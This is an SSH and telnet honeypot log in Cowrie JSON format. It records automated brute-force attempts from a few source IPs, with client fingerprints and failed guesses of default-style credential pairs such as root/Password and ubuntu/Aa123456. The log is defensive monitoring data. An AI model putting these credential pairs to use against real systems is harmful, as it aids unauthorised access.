{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35630,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb81a2183903","protocol":"ssh","message":"New connection: 192.109.200.237:35630 (159.203.135.109:22) [session: fb81a2183903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:05.343498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:05.349439Z","src_ip":"192.109.200.237","session":"fb81a2183903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:05.551972Z","src_ip":"192.109.200.237","session":"fb81a2183903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:05.821535Z","src_ip":"192.109.200.237","session":"fb81a2183903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.907516956329346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:06.644110Z","src_ip":"50.6.8.71","session":"4b4e348e6497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:06.912633Z","src_ip":"192.109.200.237","session":"fb81a2183903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35638,"dst_ip":"159.203.135.109","dst_port":22,"session":"638c74e3ceab","protocol":"ssh","message":"New connection: 192.109.200.237:35638 (159.203.135.109:22) [session: 638c74e3ceab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:08.899872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:08.905304Z","src_ip":"192.109.200.237","session":"638c74e3ceab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:08.988319Z","src_ip":"192.109.200.237","session":"638c74e3ceab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:09.235148Z","src_ip":"192.109.200.237","session":"638c74e3ceab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:10.349866Z","src_ip":"192.109.200.237","session":"638c74e3ceab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.465752601623535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:10.798363Z","src_ip":"50.6.8.71","session":"d72f1986188a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39868,"dst_ip":"159.203.135.109","dst_port":22,"session":"802733fe30cc","protocol":"ssh","message":"New connection: 192.109.200.237:39868 (159.203.135.109:22) [session: 802733fe30cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:12.296598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:12.303872Z","src_ip":"192.109.200.237","session":"802733fe30cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:12.385628Z","src_ip":"192.109.200.237","session":"802733fe30cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:12.639840Z","src_ip":"192.109.200.237","session":"802733fe30cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50806,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bdf8514ae64","protocol":"telnet","message":"New connection: 50.6.8.71:50806 (10.17.0.5:23) [session: 2bdf8514ae64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:13.022391Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:13.724431Z","src_ip":"192.109.200.237","session":"802733fe30cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39890,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f9d2001d8c","protocol":"ssh","message":"New connection: 192.109.200.237:39890 (159.203.135.109:22) [session: c2f9d2001d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:15.913850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:15.920263Z","src_ip":"192.109.200.237","session":"c2f9d2001d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:16.003743Z","src_ip":"192.109.200.237","session":"c2f9d2001d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:16.251573Z","src_ip":"192.109.200.237","session":"c2f9d2001d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:17.337972Z","src_ip":"192.109.200.237","session":"c2f9d2001d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a03e4ebdca0","protocol":"ssh","message":"New connection: 192.109.200.237:39906 (159.203.135.109:22) [session: 5a03e4ebdca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:19.336082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:19.344561Z","src_ip":"192.109.200.237","session":"5a03e4ebdca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:19.427365Z","src_ip":"192.109.200.237","session":"5a03e4ebdca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:19.673365Z","src_ip":"192.109.200.237","session":"5a03e4ebdca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:20.758579Z","src_ip":"192.109.200.237","session":"5a03e4ebdca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6827,"dst_ip":"159.203.135.109","dst_port":22,"session":"92257eb07072","protocol":"ssh","message":"New connection: 2.57.121.25:6827 (159.203.135.109:22) [session: 92257eb07072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.445212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.450344Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.545960Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55826,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b285a52aaa4","protocol":"ssh","message":"New connection: 192.109.200.237:55826 (159.203.135.109:22) [session: 3b285a52aaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.893455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.898182Z","src_ip":"192.109.200.237","session":"3b285a52aaa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:22.990264Z","src_ip":"192.109.200.237","session":"3b285a52aaa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cwoui","message":"login attempt [user/cwoui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:23.005621Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:23.238543Z","src_ip":"192.109.200.237","session":"3b285a52aaa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52902,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe83810c332","protocol":"telnet","message":"New connection: 50.6.8.71:52902 (10.17.0.5:23) [session: 4fe83810c332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:23.675293Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"culture","message":"login attempt [user/culture] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:24.104109Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:24.325203Z","src_ip":"192.109.200.237","session":"3b285a52aaa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crush","message":"login attempt [user/crush] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:25.202034Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crusade","message":"login attempt [user/crusade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:26.300775Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55842,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b4b6039e125","protocol":"ssh","message":"New connection: 192.109.200.237:55842 (159.203.135.109:22) [session: 9b4b6039e125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:26.374245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:26.378800Z","src_ip":"192.109.200.237","session":"9b4b6039e125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:26.463383Z","src_ip":"192.109.200.237","session":"9b4b6039e125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:26.709612Z","src_ip":"192.109.200.237","session":"9b4b6039e125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crfprf","message":"login attempt [user/crfprf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:27.398561Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
